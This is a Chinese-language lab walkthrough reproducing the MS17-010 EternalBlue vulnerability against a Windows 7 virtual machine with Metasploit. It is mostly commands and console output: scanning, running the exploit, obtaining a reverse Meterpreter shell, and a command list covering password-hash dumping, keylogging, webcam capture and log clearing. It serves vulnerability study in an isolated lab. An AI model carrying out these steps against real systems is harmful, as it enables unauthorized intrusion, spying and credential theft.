MS17-010,又名永恒之蓝,是一个极其严重的网络安全漏洞,使得攻击者可以在未经授权的情况下远程执行恶意代码,本实验主要在虚拟机环境下对该漏洞进行复现。
实验环境:
靶机:windows 7 (IP:192.168.75.129)
攻击机:kali-linux-2021.3 (IP:192.168.75.128)
工具:MSF
本实验在VM虚拟机环境中进行,采用NAT模式。
前期准备:
在Linux系统中,查看IP使用ifconfig命令:
ifconfig
由此可知,攻击机的IP地址为192.168.75.128
同样,对靶机查看IP地址:
在Windows系统中,查看IP使用ipconfig命令:
ipconfig
靶机的IP地址为192.168.75.129
检测两机是否相互连通,使用ping命令。
ping 192.168.75.129
至此,前期实验前准备完成。
漏洞利用:
本实验使用MSF对该漏洞进行利用。
在攻击机中输入msfconsole命令,启动MSF工具
┌──(kali㉿kali)-[~]
└─$ msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v6.1.4-dev ]
+ -- --=[ 2162 exploits - 1147 auxiliary - 367 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: Use the edit command to open the
currently active module in your editor
接着搜索ms17-010漏洞,得到以下结果:
msf6 > search MS17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
我们首先使用auxiliary模块对靶机中是否存在ms17-010漏洞进行扫描。
msf6 > use 3
查看options:
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framewor yes List of named pipes to check
k/data/wordlists/named_pipes.t
xt
RHOSTS yes The target host(s), see https://github.com/rapid7/meta
sploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
我们将RHOSTS补全,填入目标靶机的IP地址:
msf6 auxiliary(scanner/smb/smb_ms17_010) > setg RHOSTS 192.168.75.129
RHOSTS => 192.168.75.129
接着run(exploit)
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.75.129:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.75.129:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
发现该靶机中可能存在相应MS17-010的漏洞。
使用exploit模块轮流对其进行尝试;首先使用1:
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 192.168.75.128:4444
[*] 192.168.75.129:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[-] 192.168.75.129:445 - Unable to find accessible named pipe!
出现Unable to find accessible named pipe!与其不匹配,切换到下一个。
我们切换到0,其他步骤照旧:
出现以下情况则代表成功
msf6 exploit(windows/smb/ms17_010_psexec) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.75.128:4444
[*] 192.168.75.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.75.129:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.75.129:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.75.129:445 - The target is vulnerable.
[*] 192.168.75.129:445 - Connecting to target for exploitation.
[+] 192.168.75.129:445 - Connection established for exploitation.
[+] 192.168.75.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.75.129:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.75.129:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.75.129:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.75.129:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.75.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.75.129:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.75.129:445 - Sending all but last fragment of exploit packet
[*] 192.168.75.129:445 - Starting non-paged pool grooming
[+] 192.168.75.129:445 - Sending SMBv2 buffers
[+] 192.168.75.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.75.129:445 - Sending final SMBv2 buffers.
[*] 192.168.75.129:445 - Sending last fragment of exploit packet!
[*] 192.168.75.129:445 - Receiving response from exploit packet
[+] 192.168.75.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.75.129:445 - Sending egg to corrupted connection.
[*] 192.168.75.129:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.75.129
[+] 192.168.75.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.75.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.75.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.75.128:4444 -> 192.168.75.129:49435) at 2024-07-07 11:07:08 -0400
此时便可以在攻击机上对靶机进行相应的操作:
输入help,即可查看相应的指令:
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
ssl_verify Modify the SSL certificate verification setting
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
例如:输入screenshot,即可获得靶机页面的截图
meterpreter > screenshot
Screenshot saved to: /home/kali/DeBmpJSv.jpeg
至此,我们便完成了MS17-010漏洞复现,实验结束。